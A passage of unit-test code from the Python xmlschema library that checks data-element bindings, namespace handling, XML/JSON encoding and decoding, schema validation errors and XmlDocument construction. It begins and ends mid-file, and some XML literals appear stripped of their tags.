self.assertEqual(data_element.xsd_version, self.col_schema.XSD_VERSION) def test_xsd_element_binding(self): xsd_element = self.col_schema.elements['person'] data_element = DataElement(tag=self.col_xml_root.tag, xsd_element=xsd_element) data_element.xsd_element = xsd_element with self.assertRaises(TypeError) as ec: DataElement(tag=xsd_element.name, xsd_element=self.col_schema) self.assertIn("invalid type for attribute 'xsd_element'", str(ec.exception)) with self.assertRaises(ValueError) as ec: data_element.xsd_element = self.col_schema.elements['collection'] self.assertIn('the instance is already bound to another XSD element', str(ec.exception)) def test_xsd_type_binding(self): xsd_type = self.col_schema.elements['person'].type data_element = DataElement(tag=self.col_xml_root.tag, xsd_type=xsd_type) with self.assertRaises(TypeError) as ec: DataElement(tag=self.col_xml_root.tag, xsd_type=self.col_schema) self.assertIn("invalid type for attribute 'xsd_type'", str(ec.exception)) with self.assertRaises(ValueError) as ec: data_element.xsd_element = self.col_schema.elements['collection'] self.assertIn('the instance is already bound to another XSD type', str(ec.exception)) with self.assertRaises(ValueError) as ec: data_element.xsd_type = self.col_schema.elements['collection'].type self.assertIn('the instance is already bound to another XSD type', str(ec.exception)) def test_mutable_mapping_api(self): data_element = DataElement('root') self.assertEqual(len(data_element), 0) with self.assertRaises(AssertionError): data_element.append(1) data_element.append(DataElement('elem1')) self.assertEqual(len(data_element), 1) self.assertEqual(data_element[0].tag, 'elem1') data_element.insert(0, DataElement('elem0')) self.assertEqual(len(data_element), 2) self.assertEqual(data_element[0].tag, 'elem0') self.assertEqual(data_element[1].tag, 'elem1') data_element[0] = DataElement('elem2') self.assertEqual(data_element[0].tag, 'elem2') del data_element[0] self.assertEqual(len(data_element), 1) self.assertEqual(data_element[0].tag, 'elem1') def test_xpath_api(self): col_data = self.col_schema.decode(self.col_xml_filename) self.assertIs(col_data.find('.'), col_data) self.assertIs(col_data.find('*'), col_data[0]) self.assertIs(col_data.find('object[2]'), col_data[1]) self.assertListEqual(col_data.findall('*'), col_data[:]) self.assertListEqual(list(col_data.iterfind('*')), col_data[:]) def test_iter(self): col_data = self.col_schema.decode(self.col_xml_filename) self.assertEqual(len(list(col_data.iter())), len(list(self.col_xml_root.iter()))) for elem, data_element in zip(self.col_xml_root.iter(), col_data.iter()): self.assertEqual(elem.tag, data_element.tag) self.assertIsInstance(data_element, DataElement) self.assertEqual(len(list(col_data.iter('*'))), len(list(col_data.iter()))) self.assertEqual(len(list(col_data.iter('object'))), 2) def test_iterchildren(self): col_data = self.col_schema.decode(self.col_xml_filename) self.assertListEqual(list(col_data.iterchildren()), col_data[:]) self.assertListEqual(list(col_data.iterchildren('*')), col_data[:]) self.assertListEqual(list(col_data.iterchildren('object')), col_data[:]) self.assertListEqual(list(col_data.iterchildren('position')), []) def test_schema_bindings(self): data_element = DataElement('foo') self.assertIsNone(data_element.xsd_type) col_data = self.col_schema.decode(self.col_xml_filename) self.assertIs(col_data.xsd_type, self.col_schema.elements['collection'].type) with self.assertRaises(ValueError) as ec: col_data.xsd_type = col_data[0].xsd_type self.assertEqual(str(ec.exception), "the instance is already bound to another XSD type") def test_xmlns_processing_argument(self): xsd_file = self.casepath('examples/collection/collection5.xsd') xml_file = self.casepath('examples/collection/collection-redef-xmlns.xml') xmlns0 = [('col1', 'http://example.com/ns/collection'), ('col', 'http://xmlschema.test/ns'), ('', 'http://xmlschema.test/ns'), ('xsi', 'http://www.w3.org/2001/XMLSchema-instance')] nsmap0 = dict(xmlns0) xmlns1 = [('col', 'http://example.com/ns/collection')] nsmap1 = dict(xmlns0) nsmap1.update(xmlns1) schema = self.schema_class(xsd_file) self.assertTrue(schema.is_valid(xml_file)) resource = XMLResource(xml_file) obj = schema.decode(resource, converter=self.converter) self.assertListEqual(obj.xmlns, xmlns0) self.assertDictEqual(obj.nsmap, nsmap0) self.assertListEqual(obj[0].xmlns, xmlns1) self.assertDictEqual(obj[0].nsmap, nsmap1) root = schema.encode(obj, converter=self.converter) self.assertTrue(is_etree_element(root)) obj = schema.decode(resource, converter=self.converter, xmlns_processing='stacked') self.assertListEqual(obj.xmlns, xmlns0) self.assertDictEqual(obj.nsmap, nsmap0) self.assertListEqual(obj[0].xmlns, xmlns1) self.assertDictEqual(obj[0].nsmap, nsmap1) root = schema.encode(obj, converter=self.converter, xmlns_processing='stacked') self.assertTrue(is_etree_element(root)) obj = schema.decode(resource, converter=self.converter, xmlns_processing='collapsed') root = schema.encode(obj, converter=self.converter, xmlns_processing='collapsed') self.assertTrue(is_etree_element(root)) obj = schema.decode(resource, converter=self.converter, xmlns_processing='root-only') root = schema.encode(obj, converter=self.converter, xmlns_processing='root-only') self.assertTrue(is_etree_element(root)) obj = schema.decode(resource, converter=self.converter, xmlns_processing='none') root = schema.encode(obj, converter=self.converter, xmlns_processing='none') self.assertTrue(is_etree_element(root)) for data_element in obj.iter(): self.assertDictEqual(data_element.nsmap, {}) def test_encode_to_element_tree(self): col_data = self.col_schema.decode(self.col_xml_filename) obj = col_data.encode() self.assertTrue(is_etree_element(obj)) self.assertIsInstance(etree_tostring(obj), str) self.assertIsNone(etree_elements_assert_equal(obj, self.col_xml_root, strict=False)) self.assertIsNone( etree_elements_assert_equal(obj, col_data.encode(converter=self.converter)) ) with self.assertRaises(ValueError) as ec: col_data.xsd_type = col_data[0].xsd_type self.assertEqual(str(ec.exception), "the instance is already bound to another XSD type") with self.assertRaises(ValueError) as ec: col_data.xsd_element = col_data[0].xsd_element self.assertEqual(str(ec.exception), "the instance is already bound to another XSD element") any_data = DataElement('a') any_data.append(DataElement('b1', 1999)) any_data.append(DataElement('b2', 'alpha')) any_data.append(DataElement('b3', True)) with self.assertRaises(ValueError) as ec: any_data.encode() self.assertIn("has no schema bindings", str(ec.exception)) root = ElementTree.XML('1999alphatrue') obj = any_data.encode(validation='skip') self.assertTrue(is_etree_element(obj)) self.assertIsInstance(etree_tostring(obj), str) self.assertIsNone(etree_elements_assert_equal(obj, root, strict=False)) any_data = DataElement('root', attrib={'a1': 49}) any_data.append(DataElement('child', 18.7, attrib={'a2': False})) root = ElementTree.XML('18.7') obj = any_data.encode(validation='skip') self.assertTrue(is_etree_element(obj)) self.assertIsInstance(etree_tostring(obj), str) self.assertIsNone(etree_elements_assert_equal(obj, root, strict=False)) def test_collapsed_namespace_map(self): col_data = self.col_schema.decode(self.col_xml_filename) namespaces = col_data.get_namespaces() self.assertDictEqual( namespaces, {'col': 'http://example.com/ns/collection', 'xsi': 'http://www.w3.org/2001/XMLSchema-instance'} ) namespaces = col_data.get_namespaces({'': 'http://xmlschema.test/ns'}) self.assertDictEqual( namespaces, {'': 'http://xmlschema.test/ns', 'col': 'http://example.com/ns/collection', 'xsi': 'http://www.w3.org/2001/XMLSchema-instance'} ) namespaces = col_data.get_namespaces({'tns': 'http://xmlschema.test/ns'}) self.assertDictEqual( namespaces, {'tns': 'http://xmlschema.test/ns', 'col': 'http://example.com/ns/collection', 'xsi': 'http://www.w3.org/2001/XMLSchema-instance'} ) namespaces = col_data.get_namespaces({'xsi': 'http://xmlschema.test/ns'}) self.assertDictEqual( namespaces, {'xsi': 'http://xmlschema.test/ns', 'col': 'http://example.com/ns/collection', 'xsi0': 'http://www.w3.org/2001/XMLSchema-instance'} ) xsd_filename = self.casepath('examples/collection/collection5.xsd') col_schema = self.schema_class(xsd_filename, converter=self.converter) xml_filename = self.casepath('examples/collection/collection-default.xml') col_data = col_schema.decode(xml_filename) namespaces = col_data.get_namespaces() self.assertDictEqual( namespaces, {'': 'http://example.com/ns/collection', 'xsi': 'http://www.w3.org/2001/XMLSchema-instance'} ) namespaces = col_data.get_namespaces({'': 'http://xmlschema.test/ns'}) self.assertDictEqual( namespaces, {'': 'http://xmlschema.test/ns', 'default': 'http://example.com/ns/collection', 'xsi': 'http://www.w3.org/2001/XMLSchema-instance'} ) def test_serialize_to_xml_source(self): col_data = self.col_schema.decode(self.col_xml_filename) with Path(self.col_xml_filename).open() as fp: _ = fp.read() result = col_data.tostring() self.assertTrue(result.startswith('')) result = col_data.tostring(xml_declaration=True) self.assertTrue(self.col_schema.is_valid(result)) def test_validation(self): with self.assertRaises(ValueError) as ec: DataElement(self.col_xml_root).validate() self.assertIn("has no schema bindings", str(ec.exception)) col_data = self.col_schema.decode(self.col_xml_filename) self.assertIsNone(col_data.validate()) self.assertTrue(col_data.is_valid()) self.assertListEqual(list(col_data.iter_errors()), []) col_data = self.col_schema.decode(self.col_xml_root) self.assertEqual(col_data.nsmap, {}) self.assertTrue(col_data.is_valid()) # FIXME: are namespaces really needed for validation of data elements??? # (that use iter_encode() instead of iter_decode() ...) self.assertTrue(col_data.is_valid(namespaces={ 'col': 'http://example.com/ns/collection', 'xsi': 'http://www.w3.org/2001/XMLSchema-instance' })) # Encoding back using the default namespace is simple with # data elements because you still have the original tags. self.assertTrue(col_data.is_valid(namespaces={ '': 'http://example.com/ns/collection', 'xsi': 'http://www.w3.org/2001/XMLSchema-instance' })) def test_invalid_value_type(self): col_data = self.col_schema.decode(self.col_xml_filename) self.assertTrue(col_data.is_valid()) col_data[0][0].value = '1.0' with self.assertRaises(XMLSchemaValidationError) as ec: col_data.validate() self.assertIn("invalid literal for int() with base 10", str(ec.exception)) self.assertFalse(col_data.is_valid()) errors = list(col_data.iter_errors()) self.assertEqual(len(errors), 1) self.assertIn("invalid literal for int() with base 10", str(errors[0])) col_data.find('object/position').value = 1 self.assertTrue(col_data.is_valid()) def test_missing_child(self): col_data = self.col_schema.decode(self.col_xml_filename) self.assertTrue(col_data.is_valid()) title = col_data[0].pop(1) with self.assertRaises(XMLSchemaValidationError) as ec: col_data.validate() self.assertIn("Unexpected child with tag 'year' at position 2", str(ec.exception)) self.assertFalse(col_data.is_valid()) errors = list(col_data.iter_errors()) self.assertEqual(len(errors), 1) self.assertIn("Unexpected child with tag 'year' at position 2", str(errors[0])) col_data[0].insert(1, title) self.assertTrue(col_data.is_valid()) def test_max_depth_validation(self): col_data = self.col_schema.decode(self.col_xml_filename) self.assertTrue(col_data.is_valid()) for child in col_data: child.clear() self.assertFalse(col_data.is_valid()) self.assertTrue(col_data.is_valid(max_depth=0)) self.assertTrue(col_data.is_valid(max_depth=1)) self.assertFalse(col_data.is_valid(max_depth=2)) col_data.clear() self.assertTrue(col_data.is_valid(max_depth=0)) self.assertFalse(col_data.is_valid(max_depth=1)) self.assertFalse(col_data.is_valid(max_depth=2)) def test_converter_class(self): converter = self.converter() self.assertFalse(converter.lossy) self.assertTrue(converter.losslessly) class MyDataElement(DataElement): pass col_data = self.col_schema.decode(self.col_xml_filename, converter=converter) self.assertIsInstance(col_data, DataElement) self.assertNotIsInstance(col_data, MyDataElement) converter = self.converter(data_element_class=MyDataElement) self.assertIs(converter.data_element_class, MyDataElement) self.assertIs(converter.copy().data_element_class, MyDataElement) self.col_schema.maps.clear_bindings() # needed for DataBindingConverter ... col_data = self.col_schema.decode(self.col_xml_filename, converter=converter) self.assertIsInstance(col_data, MyDataElement) with self.assertRaises(ValueError) as ec: converter.element_encode(col_data, col_data[0].xsd_element) self.assertEqual("Unmatched tag", str(ec.exception)) def test_decoded_names__issue_314(self): xsd_file = self.casepath('issues/issue_314/issue_314.xsd') xml_file = self.casepath('issues/issue_314/issue_314.xml') schema = self.schema_class(xsd_file) data_element = schema.to_objects(xml_file, process_namespaces=True) self.assertEqual(data_element.prefixed_name, 'p:root-element') self.assertEqual(data_element[0].prefixed_name, 'p:container') self.assertEqual(data_element[0][0].prefixed_name, 'p:item') self.assertEqual( data_element[0][0].attrib, {'b:type': 'p:ConcreteContainterItemInfo', 'attr_2': 'value_2'} ) self.assertEqual(data_element[0][0].get(XSI_TYPE), 'p:ConcreteContainterItemInfo') self.assertEqual(data_element[0][0].get('b:type'), 'p:ConcreteContainterItemInfo') self.assertIsNone(data_element[0][0].get('xsi:type')) data_element = schema.to_objects(xml_file, process_namespaces=False) self.assertEqual(data_element.prefixed_name, '{my_namespace}root-element') self.assertEqual(data_element[0].prefixed_name, '{my_namespace}container') self.assertEqual(data_element[0][0].prefixed_name, '{my_namespace}item') self.assertEqual( data_element[0][0].attrib, {f'{XSI_TYPE}': 'p:ConcreteContainterItemInfo', 'attr_2': 'value_2'} ) self.assertEqual(data_element[0][0].get(XSI_TYPE), 'p:ConcreteContainterItemInfo') self.assertIsNone(data_element[0][0].get('b:type')) self.assertIsNone(data_element[0][0].get('xsi:type')) # For adding namespaces after decoding replace or update nsmap of each element namespaces = {'p': 'my_namespace', 'xsi': "http://www.w3.org/2001/XMLSchema-instance"} for e in data_element.iter(): e.nsmap = namespaces self.assertEqual(data_element.prefixed_name, 'p:root-element') self.assertEqual(data_element[0].prefixed_name, 'p:container') self.assertEqual(data_element[0][0].prefixed_name, 'p:item') self.assertEqual(data_element[0][0].get(XSI_TYPE), 'p:ConcreteContainterItemInfo') self.assertIsNone(data_element[0][0].get('b:type')) self.assertEqual(data_element[0][0].get('xsi:type'), 'p:ConcreteContainterItemInfo') def test_map_attribute_names__issue_314(self): xsd_file = self.casepath('issues/issue_314/issue_314.xsd') xml_file = self.casepath('issues/issue_314/issue_314.xml') schema = self.schema_class(xsd_file) data_element = schema.to_objects(xml_file, map_attribute_names=False) self.assertEqual(data_element.prefixed_name, 'p:root-element') self.assertEqual(data_element[0].prefixed_name, 'p:container') self.assertEqual(data_element[0][0].prefixed_name, 'p:item') self.assertEqual( data_element[0][0].attrib, {f'{XSI_TYPE}': 'p:ConcreteContainterItemInfo', 'attr_2': 'value_2'} ) self.assertEqual(data_element[0][0].get(XSI_TYPE), 'p:ConcreteContainterItemInfo') self.assertEqual(data_element[0][0].get('b:type'), 'p:ConcreteContainterItemInfo') self.assertIsNone(data_element[0][0].get('xsi:type')) def test_xsd_attribute_access__issue_331(self): col_data = self.col_schema.decode(self.col_xml_filename) self.assertIsInstance(col_data[0].xsd_element, XsdElement) self.assertEqual(col_data[0].xsd_element.name, 'object') self.assertIsInstance( col_data[0].xsd_element.attributes, XsdAttributeGroup ) xsd_attribute = col_data[0].xsd_element.attributes.get('id') self.assertIsInstance(xsd_attribute, XsdAttribute) xsd_attribute = col_data[0].xsd_element.find('@id') self.assertIsInstance(xsd_attribute, XsdAttribute) self.assertIsInstance(xsd_attribute.type, XsdType) self.assertIsNone(col_data[0].xsd_element.find('@unknown')) class TestDataBindings(TestDataObjects): converter = DataBindingConverter def test_data_binding_metaclass(self): xsd_element = self.col_schema.elements['collection'] collection_class = DataBindingMeta(xsd_element.local_name.title(), (DataElement,), {'xsd_element': xsd_element}) self.assertEqual(collection_class.__name__, 'Collection') self.assertEqual(collection_class.__qualname__, 'Collection') self.assertIsNone(collection_class.__module__) self.assertEqual(collection_class.namespace, 'http://example.com/ns/collection') self.assertEqual(collection_class.xsd_version, self.col_schema.XSD_VERSION) with self.assertRaises(AttributeError) as ec: DataBindingMeta(xsd_element.local_name.title(), (DataElement,), {}) self.assertIn("attribute 'xsd_element' is required", str(ec.exception)) with self.assertRaises(TypeError) as ec: DataBindingMeta(xsd_element.local_name.title(), (DataElement,), {'xsd_element': None}) self.assertIn("None is not an XSD element", str(ec.exception)) def test_element_binding(self): xsd_element = self.col_schema.elements['collection'] xsd_element.binding = None try: binding_class = xsd_element.get_binding() self.assertEqual(binding_class.__name__, 'CollectionBinding') self.assertEqual(binding_class.__qualname__, 'CollectionBinding') self.assertIsNone(binding_class.__module__) self.assertIsNot(xsd_element.binding, DataElement) self.assertTrue(issubclass(xsd_element.binding, DataElement)) self.assertIsInstance(xsd_element.binding, DataBindingMeta) self.assertIs(binding_class, xsd_element.binding) # regression tests for issue 300 self.assertIs(binding_class, xsd_element.get_binding()) self.assertIsNot(binding_class, xsd_element.get_binding(replace_existing=True)) finally: xsd_element.binding = None def test_schema_bindings(self): schema = self.schema_class(self.col_xsd_filename) schema.maps.create_bindings() col_element_class = schema.elements['collection'].binding col_data = col_element_class.fromsource(self.col_xml_filename) self.assertEqual(len(list(col_data.iter())), len(list(self.col_xml_root.iter()))) for elem, data_element in zip(self.col_xml_root.iter(), col_data.iter()): self.assertEqual(elem.tag, data_element.tag) self.assertIsInstance(data_element, DataElement) self.assertIsNone( etree_elements_assert_equal(col_data.encode(), self.col_xml_root, strict=False) ) source = XMLResource(self.col_xml_filename, allow='local') col_data2 = col_element_class.fromsource(source, converter=self.converter) self.assertEqual(len(list(col_data.iter())), len(list(col_data2.iter()))) for data_element, data_element2 in zip(col_data.iter(), col_data2.iter()): self.assertEqual(data_element.tag, data_element2.tag) def test_binding_instance(self): xsd_element = self.col_schema.elements['collection'] xsd_element.binding = None try: binding_class = xsd_element.get_binding() collection_element = binding_class(tag=xsd_element.name) collection_element._encoder = xsd_element with self.assertRaises(ValueError) as ec: binding_class(tag=xsd_element.name, xsd_element=self.col_schema.elements['person']) self.assertIn('already bound to another XSD element', str(ec.exception)) finally: xsd_element.binding = None class TestDataObjects11(TestDataObjects): schema_class = XMLSchema11 class TestDataBindings11(TestDataBindings): schema_class = XMLSchema11 if __name__ == '__main__': run_xmlschema_tests('data objects') xmlschema-4.1.0/tests/test_documents.py000066400000000000000000000640421502040105500202470ustar00rootroot00000000000000#!/usr/bin/env python # # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato # """Tests concerning XML documents""" import unittest import os import io import pathlib import tempfile from decimal import Decimal from textwrap import dedent from xml.etree import ElementTree try: import lxml.etree as lxml_etree except ImportError: lxml_etree = None from xmlschema import XMLSchema10, XMLSchema11, XmlDocument, XMLResourceError, \ XMLSchemaValidationError, XMLSchemaDecodeError, to_json, from_json, validate, \ XMLSchemaParseError, is_valid, to_dict, to_etree, JsonMLConverter from xmlschema.names import XSD_NAMESPACE, XSI_NAMESPACE, XSD_SCHEMA from xmlschema.utils.etree import is_etree_element, is_etree_document, is_lxml_element from xmlschema.resources import XMLResource from xmlschema.documents import get_context from xmlschema.testing import etree_elements_assert_equal, SKIP_REMOTE_TESTS, \ XMLSchemaTestCase, run_xmlschema_tests class TestXmlDocuments(XMLSchemaTestCase): cases_dir = pathlib.Path(__file__).parent.joinpath('test_cases') @classmethod def setUpClass(cls): cls.schema_class.meta_schema.build() cls.vh_dir = cls.casepath('examples/vehicles') cls.vh_xsd_file = cls.casepath('examples/vehicles/vehicles.xsd') cls.vh_xml_file = cls.casepath('examples/vehicles/vehicles.xml') cls.col_dir = cls.casepath('examples/collection') cls.col_xsd_file = cls.casepath('examples/collection/collection.xsd') cls.col_xml_file = cls.casepath('examples/collection/collection.xml') def test_to_json_api(self): json_data = to_json(self.col_xml_file, lazy=True) self.assertIsInstance(json_data, str) self.assertIn('"@xmlns:col"', json_data) self.assertIn(r'"name": "Joan Mir\u00f3"', json_data) with self.assertRaises(TypeError) as ctx: to_json(self.col_xml_file, lazy=True, decimal_type=Decimal) self.assertIn("is not JSON serializable", str(ctx.exception)) col_1_error_xml_file = self.casepath('examples/collection/collection-1_error.xml') json_data, errors = to_json(col_1_error_xml_file, validation='lax', lazy=True) self.assertEqual(len(errors), 1) self.assertIsInstance(errors[0], XMLSchemaDecodeError) self.assertIn('"position": null', json_data) json_data, errors = to_json(col_1_error_xml_file, validation='lax', lazy=True, json_options={'default': lambda x: None}) self.assertEqual(len(errors), 0) self.assertIn('"object": [null, null]', json_data) def test_to_etree_api(self): data = to_dict(self.col_xml_file) root_tag = '{http://example.com/ns/collection}collection' with self.assertRaises(TypeError) as ctx: to_etree(data) self.assertIn("a path is required for building a dummy schema", str(ctx.exception)) collection = to_etree(data, schema=self.col_xsd_file) self.assertEqual(collection.tag, root_tag) col_schema = XMLSchema10(self.col_xsd_file) collection = to_etree(data, schema=col_schema) self.assertEqual(collection.tag, root_tag) collection = to_etree(data, path=root_tag) self.assertEqual(collection.tag, root_tag) @unittest.skipIf(SKIP_REMOTE_TESTS, "Remote networks are not accessible") def test_to_etree_api_on_schema__issue_325(self): col_root = ElementTree.parse(self.col_xsd_file).getroot() kwargs = dict(use_defaults=False, converter=JsonMLConverter) data = to_dict(self.col_xsd_file, **kwargs) with self.assertRaises(TypeError) as ctx: to_etree(data) self.assertIn("a path is required for building a dummy schema", str(ctx.exception)) collection_xsd = to_etree(data, schema=XMLSchema10.meta_schema.url, **kwargs) self.assertEqual(collection_xsd.tag, XSD_SCHEMA) self.assertIsNone(etree_elements_assert_equal(collection_xsd, col_root, strict=False)) collection_xsd = to_etree(data, path=XSD_SCHEMA, **kwargs) self.assertIsNone(etree_elements_assert_equal(collection_xsd, col_root, strict=False)) # automatically map xs/xsd prefixes and use meta-schema collection_xsd = to_etree(data, path='xs:schema', **kwargs) self.assertIsNone(etree_elements_assert_equal(collection_xsd, col_root, strict=False)) with self.assertRaises(TypeError) as ctx: to_etree(data, path='xs:schema', namespaces={}, **kwargs) self.assertIn("the path must be mappable to a local or extended name", str(ctx.exception)) def test_from_json_api(self): json_data = to_json(self.col_xml_file, lazy=True) root_tag = '{http://example.com/ns/collection}collection' with self.assertRaises(TypeError) as ctx: from_json(json_data) self.assertIn("a path is required for building a dummy schema", str(ctx.exception)) collection = from_json(json_data, schema=self.col_xsd_file) self.assertEqual(collection.tag, root_tag) col_schema = XMLSchema10(self.col_xsd_file) collection = from_json(json_data, schema=col_schema) self.assertEqual(collection.tag, root_tag) col_schema = XMLSchema10(self.col_xsd_file) collection = from_json(json_data, col_schema, json_options={'parse_float': Decimal}) self.assertEqual(collection.tag, root_tag) collection = from_json(json_data, path=root_tag) self.assertEqual(collection.tag, root_tag) def test_get_context_with_schema(self): source, schema = get_context(self.col_xml_file) self.assertIsInstance(source, XMLResource) self.assertIsInstance(schema, XMLSchema10) source, schema = get_context(self.col_xml_file, self.col_xsd_file) self.assertIsInstance(source, XMLResource) self.assertIsInstance(schema, XMLSchema10) col_schema = XMLSchema10(self.col_xsd_file) source, schema = get_context(self.col_xml_file, col_schema) self.assertIsInstance(source, XMLResource) self.assertIs(schema, col_schema) source, schema = get_context(self.vh_xml_file, cls=XMLSchema10) self.assertIsInstance(source, XMLResource) self.assertIsInstance(schema, XMLSchema10) source, schema = get_context(self.col_xml_file, cls=XMLSchema11) self.assertIsInstance(source, XMLResource) self.assertIsInstance(schema, XMLSchema11) source, schema = get_context(XMLResource(self.vh_xml_file)) self.assertIsInstance(source, XMLResource) self.assertIsInstance(schema, XMLSchema10) xml_document = XmlDocument(self.vh_xml_file) source, schema = get_context(xml_document) self.assertIsInstance(source, XMLResource) self.assertIsInstance(schema, XMLSchema10) self.assertIs(xml_document.schema, schema) # Issue #145 with open(self.vh_xml_file) as f: source, schema = get_context(f, schema=self.vh_xsd_file) self.assertIsInstance(source, XMLResource) self.assertIsInstance(schema, XMLSchema10) with open(self.vh_xml_file) as f: source, schema = get_context(XMLResource(f), schema=self.vh_xsd_file) self.assertIsInstance(source, XMLResource) self.assertIsInstance(schema, XMLSchema10) with open(self.vh_xml_file) as f: source, schema = get_context(f, base_url=self.vh_dir) self.assertIsInstance(source, XMLResource) self.assertIsInstance(schema, XMLSchema10) if lxml_etree is not None: source, schema = get_context(self.col_xml_file, iterparse=lxml_etree.iterparse) self.assertIsInstance(source, XMLResource) self.assertIsInstance(schema, XMLSchema10) self.assertTrue(is_lxml_element(source.root)) self.assertTrue(is_lxml_element(schema.root)) source, schema = get_context(self.col_xml_file, self.col_xsd_file, iterparse=lxml_etree.iterparse) self.assertIsInstance(source, XMLResource) self.assertIsInstance(schema, XMLSchema10) self.assertTrue(is_lxml_element(source.root)) self.assertTrue(is_lxml_element(schema.root)) col_schema = XMLSchema10(self.col_xsd_file) source, schema = get_context(self.col_xml_file, col_schema, iterparse=lxml_etree.iterparse) self.assertIsInstance(source, XMLResource) self.assertIs(schema, col_schema) self.assertTrue(is_lxml_element(source.root)) self.assertFalse(is_lxml_element(schema.root)) xml_document = XmlDocument(self.vh_xml_file, iterparse=lxml_etree.iterparse) source, schema = get_context(xml_document) self.assertIsInstance(source, XMLResource) self.assertIsInstance(schema, XMLSchema10) self.assertIs(xml_document.schema, schema) self.assertTrue(is_lxml_element(source.root)) self.assertTrue(is_lxml_element(schema.root)) def test_get_context_without_schema(self): xml_data = 'foo' source, schema = get_context(xml_data) self.assertIsInstance(source, XMLResource) self.assertIsNot(schema, XMLSchema10.meta_schema) self.assertEqual(source.root.tag, 'text') self.assertTrue(schema.is_valid(source)) with self.assertRaises(ValueError) as ctx: get_context('') self.assertEqual(str(ctx.exception), "cannot get a schema for XML data, provide a schema argument") source, schema = get_context('', dummy_schema=True) self.assertEqual(source.root.tag, 'empty') self.assertIsInstance(schema, XMLSchema10) col_xml_resource = XMLResource(self.col_xml_file) col_xml_resource.root.attrib.clear() self.assertEqual(col_xml_resource.get_locations(root_only=False), []) source, schema = get_context(col_xml_resource, self.col_xsd_file) self.assertIs(source, col_xml_resource) self.assertIsInstance(schema, XMLSchema10) self.assertEqual(schema.target_namespace, 'http://example.com/ns/collection') # Schema target namespace doesn't match source namespace vh_schema = XMLSchema10(self.vh_xsd_file) source, schema = get_context(col_xml_resource, vh_schema) self.assertIs(source, col_xml_resource) self.assertIs(schema, vh_schema) self.assertFalse(schema.is_valid(source)) vh_schema.import_schema('http://example.com/ns/collection', self.col_xsd_file) vh_schema.build() source, schema = get_context(col_xml_resource, vh_schema) self.assertIs(source, col_xml_resource) self.assertIs(schema, vh_schema) self.assertTrue(schema.is_valid(source)) def test_use_location_hints_argument__issue_324(self): xsd_file = self.casepath('issues/issue_324/issue_324a.xsd') schema = XMLSchema10(xsd_file) xml_file = self.casepath('issues/issue_324/issue_324-valid.xml') self.assertIsNone(validate(xml_file)) with self.assertRaises(XMLSchemaValidationError) as ctx: validate(xml_file, schema=schema) self.assertIn('unavailable namespace', str(ctx.exception)) with self.assertRaises(ValueError) as ctx: validate(xml_file, use_location_hints=False) self.assertIn('provide a schema argument', str(ctx.exception)) xml_file = self.casepath('issues/issue_324/issue_324-invalid.xml') with self.assertRaises(XMLSchemaParseError) as ctx: validate(xml_file) self.assertIn("import of namespace 'http://xmlschema.test/wrong-ns' failed", str(ctx.exception)) with self.assertRaises(XMLSchemaValidationError) as ctx: validate(xml_file, schema=schema) self.assertIn('unavailable namespace', str(ctx.exception)) with self.assertRaises(ValueError) as ctx: validate(xml_file, use_location_hints=False) self.assertIn('provide a schema argument', str(ctx.exception)) with self.assertRaises(ValueError) as ctx: XmlDocument(self.col_xml_file, use_location_hints=False) self.assertIn('provide a schema argument', str(ctx.exception)) def test_xml_document_init_with_schema(self): xml_document = XmlDocument(self.vh_xml_file) self.assertEqual(os.path.basename(xml_document.url), 'vehicles.xml') self.assertEqual(xml_document.errors, ()) self.assertIsInstance(xml_document.schema, XMLSchema10) xml_document = XmlDocument(self.vh_xml_file, cls=XMLSchema11) self.assertIsInstance(xml_document.schema, XMLSchema11) xml_document = XmlDocument(self.vh_xml_file, self.vh_xsd_file) self.assertIsInstance(xml_document.schema, XMLSchema10) vh_schema = XMLSchema10(self.vh_xsd_file) xml_document = XmlDocument(self.vh_xml_file, vh_schema) self.assertIsInstance(xml_document.schema, XMLSchema10) xml_document = XmlDocument(self.vh_xml_file, self.col_xsd_file) self.assertIsInstance(xml_document.schema, XMLSchema10) with self.assertRaises(XMLSchemaValidationError) as ctx: XmlDocument(self.vh_xml_file, self.col_xsd_file, use_location_hints=False) self.assertIn('is not an element of the schema', str(ctx.exception)) xml_document = XmlDocument(self.col_xml_file) self.assertEqual(os.path.basename(xml_document.url), 'collection.xml') self.assertIsInstance(xml_document.schema, XMLSchema10) xml_file = self.casepath('examples/collection/collection-1_error.xml') with self.assertRaises(XMLSchemaValidationError) as ctx: XmlDocument(xml_file) self.assertIn('invalid literal for int() with base 10', str(ctx.exception)) xml_document = XmlDocument(xml_file, validation='lax') self.assertEqual(os.path.basename(xml_document.url), 'collection-1_error.xml') self.assertIsInstance(xml_document.schema, XMLSchema10) self.assertTrue(len(xml_document.errors), 1) with self.assertRaises(ValueError) as ctx: XmlDocument(xml_file, validation='foo') self.assertEqual("validation mode can be 'strict', 'lax' or 'skip': 'foo'", str(ctx.exception)) def test_xml_document_init_without_schema(self): with self.assertRaises(ValueError) as ctx: XmlDocument('') self.assertIn('cannot get a schema for XML data, provide a schema argument', str(ctx.exception)) xml_document = XmlDocument('', validation='skip') self.assertIsInstance(xml_document.schema, XMLSchema10) self.assertEqual(xml_document.schema.target_namespace, '') xml_document = XmlDocument( '', validation='skip' ) self.assertIsInstance(xml_document.schema, XMLSchema10) self.assertEqual(xml_document.schema.target_namespace, xml_document.namespace) def test_xml_document_parse(self): xml_document = XmlDocument(self.vh_xml_file) self.assertEqual(os.path.basename(xml_document.url), 'vehicles.xml') self.assertFalse(xml_document.is_lazy()) xml_file = self.casepath('examples/vehicles/vehicles-1_error.xml') with self.assertRaises(XMLSchemaValidationError): xml_document.parse(xml_file) xml_document.parse(self.vh_xml_file, lazy=True) self.assertEqual(os.path.basename(xml_document.url), 'vehicles.xml') self.assertTrue(xml_document.is_lazy()) xml_document = XmlDocument(self.vh_xml_file, validation='lax') xml_document.parse(xml_file) self.assertEqual(len(xml_document.errors), 1) def test_xml_document_decode_with_schema(self): xml_document = XmlDocument(self.vh_xml_file) vh_schema = XMLSchema10(self.vh_xsd_file) self.assertEqual(xml_document.decode(), vh_schema.decode(self.vh_xml_file)) namespaces = {'vh': 'http://example.com/ns'} self.assertEqual(xml_document.decode(namespaces=namespaces), vh_schema.decode(self.vh_xml_file, namespaces=namespaces)) self.assertNotEqual(xml_document.decode(namespaces=namespaces), vh_schema.decode(self.vh_xml_file)) xml_file = self.casepath('examples/collection/collection-1_error.xml') xml_document = XmlDocument(xml_file, validation='lax') col_schema = 